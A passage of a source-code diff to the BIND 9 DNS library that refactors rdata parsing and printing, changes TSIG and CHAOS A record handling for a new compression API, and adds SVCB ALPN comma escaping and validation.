+		dns_compress_rollback(cctx, target->used);
 	}
 	return (result);
 }
@@ -852,13 +911,11 @@ dns_rdata_towire(dns_rdata_t *rdata, dns_compress_t *cctx,
 static isc_result_t
 rdata_validate(isc_buffer_t *src, isc_buffer_t *dest, dns_rdataclass_t rdclass,
 	       dns_rdatatype_t type) {
-	dns_decompress_t dctx;
 	isc_result_t result;
 
-	dns_decompress_init(&dctx, -1, DNS_DECOMPRESS_NONE);
 	isc_buffer_setactive(src, isc_buffer_usedlength(src));
-	result = dns_rdata_fromwire(NULL, rdclass, type, src, &dctx, 0, dest);
-	dns_decompress_invalidate(&dctx);
+	result = dns_rdata_fromwire(NULL, rdclass, type, src,
+				    DNS_DECOMPRESS_NEVER, dest);
 
 	return (result);
 }
@@ -960,7 +1017,8 @@ dns_rdata_fromtext(dns_rdata_t *rdata, dns_rdataclass_t rdclass,
 
 	unknown = false;
 	if (token.type == isc_tokentype_string &&
-	    strcmp(DNS_AS_STR(token), "\\#") == 0) {
+	    strcmp(DNS_AS_STR(token), "\\#") == 0)
+	{
 		/*
 		 * If this is a TXT record '\#' could be a escaped '#'.
 		 * Look to see if the next token is a number and if so
@@ -1008,7 +1066,8 @@ dns_rdata_fromtext(dns_rdata_t *rdata, dns_rdataclass_t rdclass,
 			}
 			break;
 		} else if (token.type != isc_tokentype_eol &&
-			   token.type != isc_tokentype_eof) {
+			   token.type != isc_tokentype_eof)
+		{
 			if (result == ISC_R_SUCCESS) {
 				result = DNS_R_EXTRATOKEN;
 			}
@@ -1084,7 +1143,8 @@ unknown_totext(dns_rdata_t *rdata, dns_rdata_textctx_t *tctx,
 						tctx->linebreak, target);
 		}
 		if (result == ISC_R_SUCCESS &&
-		    (tctx->flags & DNS_STYLEFLAG_MULTILINE) != 0) {
+		    (tctx->flags & DNS_STYLEFLAG_MULTILINE) != 0)
+		{
 			result = str_totext(" )", target);
 		}
 	}
@@ -1222,6 +1282,7 @@ dns_rdata_tostruct(const dns_rdata_t *rdata, void *target, isc_mem_t *mctx) {
 
 	REQUIRE(rdata != NULL);
 	REQUIRE(DNS_RDATA_VALIDFLAGS(rdata));
+	REQUIRE((rdata->flags & DNS_RDATA_UPDATE) == 0);
 
 	TOSTRUCTSWITCH
 
@@ -1241,8 +1302,8 @@ dns_rdata_freestruct(void *source) {
 }
 
 isc_result_t
-dns_rdata_additionaldata(dns_rdata_t *rdata, dns_additionaldatafunc_t add,
-			 void *arg) {
+dns_rdata_additionaldata(dns_rdata_t *rdata, const dns_name_t *owner,
+			 dns_additionaldatafunc_t add, void *arg) {
 	isc_result_t result = ISC_R_NOTIMPLEMENTED;
 	bool use_default = false;
 
@@ -1328,8 +1389,8 @@ dns_rdatatype_fromtext(dns_rdatatype_t *typep, isc_textregion_t *source) {
 		return (DNS_R_UNKNOWN);
 	}
 
-	a = tolower((unsigned char)source->base[0]);
-	b = tolower((unsigned char)source->base[n - 1]);
+	a = isc_ascii_tolower(source->base[0]);
+	b = isc_ascii_tolower(source->base[n - 1]);
 
 	hash = ((a + n) * b) % 256;
 
@@ -1414,7 +1475,8 @@ name_length(const dns_name_t *name) {
 }
 
 static isc_result_t
-txt_totext(isc_region_t *source, bool quote, isc_buffer_t *target) {
+commatxt_totext(isc_region_t *source, bool quote, bool comma,
+		isc_buffer_t *target) {
 	unsigned int tl;
 	unsigned int n;
 	unsigned char *sp;
@@ -1444,30 +1506,48 @@ txt_totext(isc_region_t *source, bool quote, isc_buffer_t *target) {
 		/*
 		 * \DDD space (0x20) if not quoting.
 		 */
-		if (*sp < (quote ? 0x20 : 0x21) || *sp >= 0x7f) {
+		if (*sp < (quote ? ' ' : '!') || *sp >= 0x7f) {
 			if (tl < 4) {
 				return (ISC_R_NOSPACE);
 			}
-			*tp++ = 0x5c;
-			*tp++ = 0x30 + ((*sp / 100) % 10);
-			*tp++ = 0x30 + ((*sp / 10) % 10);
-			*tp++ = 0x30 + (*sp % 10);
+			*tp++ = '\\';
+			*tp++ = '0' + ((*sp / 100) % 10);
+			*tp++ = '0' + ((*sp / 10) % 10);
+			*tp++ = '0' + (*sp % 10);
 			sp++;
 			tl -= 4;
 			continue;
 		}
 		/*
 		 * Escape double quote and backslash.  If we are not
-		 * enclosing the string in double quotes also escape
-		 * at sign and semicolon.
+		 * enclosing the string in double quotes, also escape
+		 * at sign (@) and semicolon (;) unless comma is set.
+		 * If comma is set, then only escape commas (,).
 		 */
-		if (*sp == 0x22 || *sp == 0x5c ||
-		    (!quote && (*sp == 0x40 || *sp == 0x3b))) {
+		if (*sp == '"' || *sp == '\\' || (comma && *sp == ',') ||
+		    (!comma && !quote && (*sp == '@' || *sp == ';')))
+		{
 			if (tl < 2) {
 				return (ISC_R_NOSPACE);
 			}
 			*tp++ = '\\';
 			tl--;
+			/*
+			 * Perform comma escape processing.
+			 * ',' => '\\,'
+			 * '\' => '\\\\'
+			 */
+			if (comma && (*sp == ',' || *sp == '\\')) {
+				if (tl < ((*sp == '\\') ? 3 : 2)) {
+					return (ISC_R_NOSPACE);
+				}
+				*tp++ = '\\';
+				tl--;
+				if (*sp == '\\') {
+					*tp++ = '\\';
+					tl--;
+				}
+			}
 		}
 		if (tl < 1) {
 			return (ISC_R_NOSPACE);
@@ -1489,9 +1569,14 @@ txt_totext(isc_region_t *source, bool quote, isc_buffer_t *target) {
 }
 
 static isc_result_t
-txt_fromtext(isc_textregion_t *source, isc_buffer_t *target) {
+txt_totext(isc_region_t *source, bool quote, isc_buffer_t *target) {
+	return (commatxt_totext(source, quote, false, target));
+}
+
+static isc_result_t
+commatxt_fromtext(isc_textregion_t *source, bool comma, isc_buffer_t *target) {
 	isc_region_t tregion;
-	bool escape;
+	bool escape = false, comma_escape = false, seen_comma = false;
 	unsigned int n, nrem;
 	char *s;
 	unsigned char *t;
@@ -1503,7 +1588,6 @@ txt_fromtext(isc_textregion_t *source, isc_buffer_t *target) {
 	n = source->length;
 	t = tregion.base;
 	nrem = tregion.length;
-	escape = false;
 	if (nrem < 1) {
 		return (ISC_R_NOSPACE);
 	}
@@ -1548,6 +1632,25 @@ txt_fromtext(isc_textregion_t *source, isc_buffer_t *target) {
 			continue;
 		}
 		escape = false;
+		/*
+		 * Level 1 escape processing complete.
+		 * If comma is set perform comma escape processing.
+		 *
+		 * Level 1	Level 2		ALPN's
+		 * h1\,h2   =>	h1,h2   =>	h1 and h2
+		 * h1\\,h2  =>	h1\,h2  =>	h1,h2
+		 * h1\\h2   =>	h1\h2   =>	h1h2
+		 * h1\\\\h2 =>	h1\\h2  =>	h1\h2
+		 */
+		if (comma && !comma_escape && c == ',') {
+			seen_comma = true;
+			break;
+		}
+		if (comma && !comma_escape && c == '\\') {
+			comma_escape = true;
+			continue;
+		}
+		comma_escape = false;
 		if (nrem == 0) {
 			return ((tregion.length <= 256U) ? ISC_R_NOSPACE
 							 : DNS_R_SYNTAX);
@@ -1555,14 +1658,41 @@ txt_fromtext(isc_textregion_t *source, isc_buffer_t *target) {
 		*t++ = c;
 		nrem--;
 	}
-	if (escape) {
+
+	/*
+	 * Incomplete escape processing?
+	 */
+	if (escape || (comma && comma_escape)) {
 		return (DNS_R_SYNTAX);
 	}
+
+	if (comma) {
+		/*
+		 * Disallow empty ALPN at start (",h1") or in the
+		 * middle ("h1,,h2").
+		 */
+		if (s == source->base || (seen_comma && s == source->base + 1))
+		{
+			return (DNS_R_SYNTAX);
+		}
+		isc_textregion_consume(source, s - source->base);
+		/*
+		 * Disallow empty ALPN at end ("h1,").
+		 */
+		if (seen_comma && source->length == 0) {
+			return (DNS_R_SYNTAX);
+		}
+	}
 	*tregion.base = (unsigned char)(t - tregion.base - 1);
 	isc_buffer_add(target, *tregion.base + 1);
 	return (ISC_R_SUCCESS);
 }
 
+static isc_result_t
+txt_fromtext(isc_textregion_t *source, isc_buffer_t *target) {
+	return (commatxt_fromtext(source, false, target));
+}
+
 static isc_result_t
 txt_fromwire(isc_buffer_t *source, isc_buffer_t *target) {
 	unsigned int n;
@@ -1617,20 +1747,20 @@ multitxt_totext(isc_region_t *source, isc_buffer_t *target) {
 		n0 = source->length - 1;
 
 		while (n--) {
-			if (*sp < 0x20 || *sp >= 0x7f) {
+			if (*sp < ' ' || *sp >= 0x7f) {
 				if (tl < 4) {
 					return (ISC_R_NOSPACE);
 				}
-				*tp++ = 0x5c;
-				*tp++ = 0x30 + ((*sp / 100) % 10);
-				*tp++ = 0x30 + ((*sp / 10) % 10);
-				*tp++ = 0x30 + (*sp % 10);
+				*tp++ = '\\';
+				*tp++ = '0' + ((*sp / 100) % 10);
+				*tp++ = '0' + ((*sp / 10) % 10);
+				*tp++ = '0' + (*sp % 10);
 				sp++;
 				tl -= 4;
 				continue;
 			}
 			/* double quote, backslash */
-			if (*sp == 0x22 || *sp == 0x5c) {
+			if (*sp == '"' || *sp == '\\') {
 				if (tl < 2) {
 					return (ISC_R_NOSPACE);
 				}
@@ -1795,9 +1925,9 @@ inet_totext(int af, uint32_t flags, isc_region_t *src, isc_buffer_t *target) {
 	 * parsing, so append 0 in that case.
 	 */
 	if (af == AF_INET6 && (flags & DNS_STYLEFLAG_YAML) != 0) {
-		isc_textregion_t tr;
-		isc_buffer_usedregion(target, (isc_region_t *)&tr);
-		if (tr.base[tr.length - 1] == ':') {
+		isc_region_t r;
+		isc_buffer_usedregion(target, &r);
+		if (r.length > 0 && r.base[r.length - 1] == ':') {
 			if (isc_buffer_availablelength(target) == 0) {
 				return (ISC_R_NOSPACE);
 			}
@@ -1933,38 +2063,21 @@ mem_tobuffer(isc_buffer_t *target, void *base, unsigned int length) {
 
 static int
 hexvalue(char value) {
-	const char *s;
-	unsigned char c;
-
-	c = (unsigned char)value;
-
-	if (!isascii(c)) {
-		return (-1);
-	}
-	if (isupper(c)) {
-		c = tolower(c);
-	}
-	if ((s = strchr(hexdigits, c)) == NULL) {
+	int hexval = isc_hex_char(value);
+	if (hexval == 0) {
 		return (-1);
+	} else {
+		return (value - hexval);
 	}
-	return ((int)(s - hexdigits));
 }
 
 static int
 decvalue(char value) {
-	const char *s;
-
-	/*
-	 * isascii() is valid for full range of int values, no need to
-	 * mask or cast.
-	 */
-	if (!isascii(value)) {
-		return (-1);
-	}
-	if ((s = strchr(decdigits, value)) == NULL) {
+	if (isdigit((unsigned char)value)) {
+		return (value - '0');
+	} else {
 		return (-1);
 	}
-	return ((int)(s - decdigits));
 }
 
 static void
@@ -2004,7 +2117,7 @@ warn_badmx(isc_token_t *token, isc_lex_t *lexer,
 		line = isc_lex_getsourceline(lexer);
 		(*callbacks->warn)(callbacks, "%s:%u: warning: '%s': %s", file,
 				   line, DNS_AS_STR(*token),
-				   dns_result_totext(DNS_R_MXISADDRESS));
+				   isc_result_totext(DNS_R_MXISADDRESS));
 	}
 }
 
@@ -2021,7 +2134,7 @@ warn_badname(const dns_name_t *name, isc_lex_t *lexer,
 		dns_name_format(name, namebuf, sizeof(namebuf));
 		(*callbacks->warn)(callbacks, "%s:%u: warning: %s: %s", file,
 				   line, namebuf,
-				   dns_result_totext(DNS_R_BADNAME));
+				   isc_result_totext(DNS_R_BADNAME));
 	}
 }
 
@@ -2038,35 +2151,35 @@ fromtext_error(void (*callback)(dns_rdatacallbacks_t *, const char *, ...),
 		case isc_tokentype_eol:
 			(*callback)(callbacks, "%s: %s:%lu: near eol: %s",
 				    "dns_rdata_fromtext", name, line,
-				    dns_result_totext(result));
+				    isc_result_totext(result));
 			break;
 		case isc_tokentype_eof:
 			(*callback)(callbacks, "%s: %s:%lu: near eof: %s",
 				    "dns_rdata_fromtext", name, line,
-				    dns_result_totext(result));
+				    isc_result_totext(result));
 			break;
 		case isc_tokentype_number:
 			(*callback)(callbacks, "%s: %s:%lu: near %lu: %s",
 				    "dns_rdata_fromtext", name, line,
 				    token->value.as_ulong,
-				    dns_result_totext(result));
+				    isc_result_totext(result));
 			break;
 		case isc_tokentype_string:
 		case isc_tokentype_qstring:
 			(*callback)(callbacks, "%s: %s:%lu: near '%s': %s",
 				    "dns_rdata_fromtext", name, line,
 				    DNS_AS_STR(*token),
-				    dns_result_totext(result));
+				    isc_result_totext(result));
 			break;
 		default:
 			(*callback)(callbacks, "%s: %s:%lu: %s",
 				    "dns_rdata_fromtext", name, line,
-				    dns_result_totext(result));
+				    isc_result_totext(result));
 			break;
 		}
 	} else {
 		(*callback)(callbacks, "dns_rdata_fromtext: %s:%lu: %s", name,
-			    line, dns_result_totext(result));
+			    line, isc_result_totext(result));
 	}
 }
 
@@ -2098,7 +2211,8 @@ dns_rdatatype_issingleton(dns_rdatatype_t type) {
 bool
 dns_rdatatype_notquestion(dns_rdatatype_t type) {
 	if ((dns_rdatatype_attributes(type) & DNS_RDATATYPEATTR_NOTQUESTION) !=
-	    0) {
+	    0)
+	{
 		return (true);
 	}
 	return (false);
@@ -2107,7 +2221,8 @@ dns_rdatatype_notquestion(dns_rdatatype_t type) {
 bool
 dns_rdatatype_questiononly(dns_rdatatype_t type) {
 	if ((dns_rdatatype_attributes(type) & DNS_RDATATYPEATTR_QUESTIONONLY) !=
-	    0) {
+	    0)
+	{
 		return (true);
 	}
 	return (false);
@@ -2130,6 +2245,16 @@ dns_rdatatype_atparent(dns_rdatatype_t type) {
 	return (false);
 }
 
+bool
+dns_rdatatype_followadditional(dns_rdatatype_t type) {
+	if ((dns_rdatatype_attributes(type) &
+	     DNS_RDATATYPEATTR_FOLLOWADDITIONAL) != 0)
+	{
+		return (true);
+	}
+	return (false);
+}
+
 bool
 dns_rdataclass_ismeta(dns_rdataclass_t rdclass) {
 	if (rdclass == dns_rdataclass_reserved0 ||
@@ -2149,10 +2274,17 @@ dns_rdatatype_isdnssec(dns_rdatatype_t type) {
 	return (false);
 }
 
+bool
+dns_rdatatype_iskeymaterial(dns_rdatatype_t type) {
+	return (type == dns_rdatatype_dnskey || type == dns_rdatatype_cdnskey ||
+		type == dns_rdatatype_cds);
+}
+
 bool
 dns_rdatatype_iszonecutauth(dns_rdatatype_t type) {
 	if ((dns_rdatatype_attributes(type) & DNS_RDATATYPEATTR_ZONECUTAUTH) !=
-	    0) {
+	    0)
+	{
 		return (true);
 	}
 	return (false);
@@ -2251,3 +2383,117 @@ dns_rdata_updateop(dns_rdata_t *rdata, dns_section_t section) {
 	}
 	return ("invalid");
 }
+
+static bool
+svcb_ishttp(const char *s, size_t len) {
+	/*
+	 * HTTP entries from:
+	 *
+	 * https://www.iana.org/assignments/tls-extensiontype-values/\
+	 * tls-extensiontype-values.xhtml#alpn-protocol-ids
+	 */
+	struct {
+		size_t len;
+		const char *value;
+	} http[] = { { 8, "http/0.9" }, { 8, "http/1.0" }, { 8, "http/1.1" },
+		     { 2, "h2" },	{ 3, "h2c" },	   { 2, "h3" } };
+
+	for (size_t i = 0; i < ARRAY_SIZE(http); i++) {
+		if (len == http[i].len && memcmp(s, http[i].value, len) == 0) {
+			return (true);
+		}
+	}
+	return (false);
+}
+
+static bool
+svcb_hashttp(isc_textregion_t *alpn) {
+	while (alpn->length > 0) {
+		char c, *s;
+		unsigned char len = *alpn->base;
+
+		isc_textregion_consume(alpn, 1);
+
+		/*
+		 * This has to detect "http/1.1", "h2" and "h3", etc.
+		 * in a comma list.
+		 */
+		s = alpn->base;
+		while (len-- > 0) {
+			c = *alpn->base;
+			isc_textregion_consume(alpn, 1);
+			if (c == ',') {
+				if (svcb_ishttp(s, (alpn->base - s) - 1)) {
+					return (true);
+				}
+				s = alpn->base;
+			}
+		}
+		if (svcb_ishttp(s, (alpn->base - s))) {
+			return (true);
+		}
+	}
+	return (false);
+}
+
+isc_result_t
+dns_rdata_checksvcb(const dns_name_t *owner, const dns_rdata_t *rdata) {
+	dns_rdata_in_svcb_t svcb;
+	isc_result_t result;
+
+	REQUIRE(owner != NULL);
+	REQUIRE(rdata != NULL);
+	REQUIRE(rdata->type == dns_rdatatype_svcb);
+	REQUIRE(DNS_RDATA_VALIDFLAGS(rdata));
+
+	result = dns_rdata_tostruct(rdata, &svcb, NULL);
+	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+
+	/*
+	 * Check that Alias Mode records don't have SvcParamKeys.
+	 */
+	if (svcb.priority == 0 && svcb.svclen != 0) {
+		return (DNS_R_HAVEPARMKEYS);
+	}
+
+	if (dns_name_isdnssvcb(owner)) {
+		isc_region_t r = { .base = svcb.svc, .length = svcb.svclen };
+		isc_textregion_t alpn;
+		uint16_t key = 0, len = 0;
+
+		/* Check for ALPN (key1) */
+		while (r.length > 0) {
+			key = uint16_fromregion(&r);
+			isc_region_consume(&r, 2);
+			len = uint16_fromregion(&r);
+			isc_region_consume(&r, 2);
+			if (key >= SVCB_ALPN_KEY) {
+				break;
+			}
+			isc_region_consume(&r, len);
+		}
+		if (key != SVCB_ALPN_KEY) {
+			return (DNS_R_NOALPN);
+		}
+		alpn = (isc_textregion_t){ .base = (char *)r.base,
+					   .length = len };
+		isc_region_consume(&r, len);
+		if (svcb_hashttp(&alpn)) {
+			/* Check for DOHPATH (key7) */
+			while (r.length > 0) {
+				key = uint16_fromregion(&r);
+				isc_region_consume(&r, 2);
+				len = uint16_fromregion(&r);
+				isc_region_consume(&r, 2);
+				if (key >= SVCB_DOHPATH_KEY) {
+					break;
+				}
+				isc_region_consume(&r, len);
+			}
+			if (key != SVCB_DOHPATH_KEY) {
+				return (DNS_R_NODOHPATH);
+			}
+		}
+	}
+	return (ISC_R_SUCCESS);
+}
diff --git a/lib/dns/rdata/any_255/tsig_250.c b/lib/dns/rdata/any_255/tsig_250.c
index 0fb1211d13..e92fe60697 100644
--- a/lib/dns/rdata/any_255/tsig_250.c
+++ b/lib/dns/rdata/any_255/tsig_250.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -15,7 +17,7 @@
 #define RRTYPE_TSIG_ATTRIBUTES \
 	(DNS_RDATATYPEATTR_META | DNS_RDATATYPEATTR_NOTQUESTION)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_any_tsig(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -100,7 +102,8 @@ fromtext_any_tsig(ARGS_FROMTEXT) {
 	RETERR(isc_lex_getmastertoken(lexer, &token, isc_tokentype_string,
 				      false));
 	if (dns_tsigrcode_fromtext(&rcode, &token.value.as_textregion) !=
-	    ISC_R_SUCCESS) {
+	    ISC_R_SUCCESS)
+	{
 		i = strtol(DNS_AS_STR(token), &e, 10);
 		if (*e != 0) {
 			RETTOK(DNS_R_UNKNOWN);
@@ -128,7 +131,7 @@ fromtext_any_tsig(ARGS_FROMTEXT) {
 	return (isc_base64_tobuffer(lexer, target, (int)token.value.as_ulong));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_any_tsig(ARGS_TOTEXT) {
 	isc_region_t sr;
 	isc_region_t sigr;
@@ -136,9 +139,9 @@ totext_any_tsig(ARGS_TOTEXT) {
 	char *bufp;
 	dns_name_t name;
 	dns_name_t prefix;
-	bool sub;
 	uint64_t sigtime;
 	unsigned short n;
+	unsigned int opts;
 
 	REQUIRE(rdata->type == dns_rdatatype_tsig);
 	REQUIRE(rdata->rdclass == dns_rdataclass_any);
@@ -151,8 +154,9 @@ totext_any_tsig(ARGS_TOTEXT) {
 	dns_name_init(&name, NULL);
 	dns_name_init(&prefix, NULL);
 	dns_name_fromregion(&name, &sr);
-	sub = name_prefix(&name, tctx->origin, &prefix);
-	RETERR(dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	RETERR(dns_name_totext(&prefix, opts, target));
 	RETERR(str_totext(" ", target));
 	isc_region_consume(&sr, name_length(&name));
 
@@ -167,7 +171,7 @@ totext_any_tsig(ARGS_TOTEXT) {
 	*bufp-- = 0;
 	*bufp-- = ' ';
 	do {
-		*bufp-- = decdigits[sigtime % 10];
+		*bufp-- = '0' + sigtime % 10;
 		sigtime /= 10;
 	} while (sigtime != 0);
 	bufp++;
@@ -249,7 +253,7 @@ totext_any_tsig(ARGS_TOTEXT) {
 	}
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_any_tsig(ARGS_FROMWIRE) {
 	isc_region_t sr;
 	dns_name_t name;
@@ -261,13 +265,13 @@ fromwire_any_tsig(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_NONE);
+	dctx = dns_decompress_setpermitted(dctx, false);
 
 	/*
 	 * Algorithm Name.
 	 */
 	dns_name_init(&name, NULL);
-	RETERR(dns_name_fromwire(&name, source, dctx, options, target));
+	RETERR(dns_name_fromwire(&name, source, dctx, target));
 
 	isc_buffer_activeregion(source, &sr);
 	/*
@@ -318,7 +322,7 @@ fromwire_any_tsig(ARGS_FROMWIRE) {
 	return (mem_tobuffer(target, sr.base, n + 2));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_any_tsig(ARGS_TOWIRE) {
 	isc_region_t sr;
 	dns_name_t name;
@@ -328,16 +332,16 @@ towire_any_tsig(ARGS_TOWIRE) {
 	REQUIRE(rdata->rdclass == dns_rdataclass_any);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_NONE);
+	dns_compress_setpermitted(cctx, false);
 	dns_rdata_toregion(rdata, &sr);
 	dns_name_init(&name, offsets);
 	dns_name_fromregion(&name, &sr);
-	RETERR(dns_name_towire(&name, cctx, target));
+	RETERR(dns_name_towire(&name, cctx, target, NULL));
 	isc_region_consume(&sr, name_length(&name));
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_any_tsig(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -367,7 +371,7 @@ compare_any_tsig(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_any_tsig(ARGS_FROMSTRUCT) {
 	dns_rdata_any_tsig_t *tsig = source;
 	isc_region_t tr;
@@ -439,7 +443,7 @@ fromstruct_any_tsig(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, tsig->other, tsig->otherlen));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_any_tsig(ARGS_TOSTRUCT) {
 	dns_rdata_any_tsig_t *tsig;
 	dns_name_t alg;
@@ -462,7 +466,7 @@ tostruct_any_tsig(ARGS_TOSTRUCT) {
 	dns_name_init(&alg, NULL);
 	dns_name_fromregion(&alg, &sr);
 	dns_name_init(&tsig->algorithm, NULL);
-	RETERR(name_duporclone(&alg, mctx, &tsig->algorithm));
+	name_duporclone(&alg, mctx, &tsig->algorithm);
 
 	isc_region_consume(&sr, name_length(&tsig->algorithm));
 
@@ -494,9 +498,6 @@ tostruct_any_tsig(ARGS_TOSTRUCT) {
 	 */
 	INSIST(sr.length >= tsig->siglen);
 	tsig->signature = mem_maybedup(mctx, sr.base, tsig->siglen);
-	if (tsig->signature == NULL) {
-		goto cleanup;
-	}
 	isc_region_consume(&sr, tsig->siglen);
 
 	/*
@@ -522,24 +523,12 @@ tostruct_any_tsig(ARGS_TOSTRUCT) {
 	 */
 	INSIST(sr.length == tsig->otherlen);
 	tsig->other = mem_maybedup(mctx, sr.base, tsig->otherlen);
-	if (tsig->other == NULL) {
-		goto cleanup;
-	}
 
 	tsig->mctx = mctx;
 	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (mctx != NULL) {
-		dns_name_free(&tsig->algorithm, tsig->mctx);
-	}
-	if (mctx != NULL && tsig->signature != NULL) {
-		isc_mem_free(mctx, tsig->signature);
-	}
-	return (ISC_R_NOMEMORY);
 }
 
-static inline void
+static void
 freestruct_any_tsig(ARGS_FREESTRUCT) {
 	dns_rdata_any_tsig_t *tsig = (dns_rdata_any_tsig_t *)source;
 
@@ -561,19 +550,20 @@ freestruct_any_tsig(ARGS_FREESTRUCT) {
 	tsig->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_any_tsig(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_tsig);
 	REQUIRE(rdata->rdclass == dns_rdataclass_any);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_any_tsig(ARGS_DIGEST) {
 	REQUIRE(rdata->type == dns_rdatatype_tsig);
 	REQUIRE(rdata->rdclass == dns_rdataclass_any);
@@ -585,7 +575,7 @@ digest_any_tsig(ARGS_DIGEST) {
 	return (ISC_R_NOTIMPLEMENTED);
 }
 
-static inline bool
+static bool
 checkowner_any_tsig(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_tsig);
 	REQUIRE(rdclass == dns_rdataclass_any);
@@ -598,7 +588,7 @@ checkowner_any_tsig(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_any_tsig(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_tsig);
 	REQUIRE(rdata->rdclass == dns_rdataclass_any);
@@ -610,7 +600,7 @@ checknames_any_tsig(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_any_tsig(ARGS_COMPARE) {
 	return (compare_any_tsig(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/any_255/tsig_250.h b/lib/dns/rdata/any_255/tsig_250.h
index 634319cc30..ca7806e880 100644
--- a/lib/dns/rdata/any_255/tsig_250.h
+++ b/lib/dns/rdata/any_255/tsig_250.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ANY_255_TSIG_250_H
-#define ANY_255_TSIG_250_H 1
+#pragma once
 
 /*% RFC2845 */
 typedef struct dns_rdata_any_tsig {
@@ -26,5 +27,3 @@ typedef struct dns_rdata_any_tsig {
 	uint16_t otherlen;
 	unsigned char *other;
 } dns_rdata_any_tsig_t;
-
-#endif /* ANY_255_TSIG_250_H */
diff --git a/lib/dns/rdata/ch_3/a_1.c b/lib/dns/rdata/ch_3/a_1.c
index 23163a0e50..1e68680a13 100644
--- a/lib/dns/rdata/ch_3/a_1.c
+++ b/lib/dns/rdata/ch_3/a_1.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -19,7 +21,7 @@
 
 #define RRTYPE_A_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_ch_a(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -62,12 +64,12 @@ fromtext_ch_a(ARGS_FROMTEXT) {
 	return (uint16_tobuffer(token.value.as_ulong, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_ch_a(ARGS_TOTEXT) {
 	isc_region_t region;
 	dns_name_t name;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
 	char buf[sizeof("0177777")];
 	uint16_t addr;
 
@@ -83,15 +85,16 @@ totext_ch_a(ARGS_TOTEXT) {
 	isc_region_consume(&region, name_length(&name));
 	addr = uint16_fromregion(&region);
 
-	sub = name_prefix(&name, tctx->origin, &prefix);
-	RETERR(dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	RETERR(dns_name_totext(&prefix, opts, target));
 
 	snprintf(buf, sizeof(buf), "%o", addr); /* note octal */
 	RETERR(str_totext(" ", target));
 	return (str_totext(buf, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_ch_a(ARGS_FROMWIRE) {
 	isc_region_t sregion;
 	isc_region_t tregion;
@@ -103,11 +106,11 @@ fromwire_ch_a(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_GLOBAL14);
+	dctx = dns_decompress_setpermitted(dctx, true);
 
 	dns_name_init(&name, NULL);
 
-	RETERR(dns_name_fromwire(&name, source, dctx, options, target));
+	RETERR(dns_name_fromwire(&name, source, dctx, target));
 
 	isc_buffer_activeregion(source, &sregion);
 	isc_buffer_availableregion(target, &tregion);
@@ -125,7 +128,7 @@ fromwire_ch_a(ARGS_FROMWIRE) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_ch_a(ARGS_TOWIRE) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -136,7 +139,7 @@ towire_ch_a(ARGS_TOWIRE) {
 	REQUIRE(rdata->rdclass == dns_rdataclass_ch);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_GLOBAL14);
+	dns_compress_setpermitted(cctx, true);
 
 	dns_name_init(&name, offsets);
 
@@ -144,7 +147,7 @@ towire_ch_a(ARGS_TOWIRE) {
 
 	dns_name_fromregion(&name, &sregion);
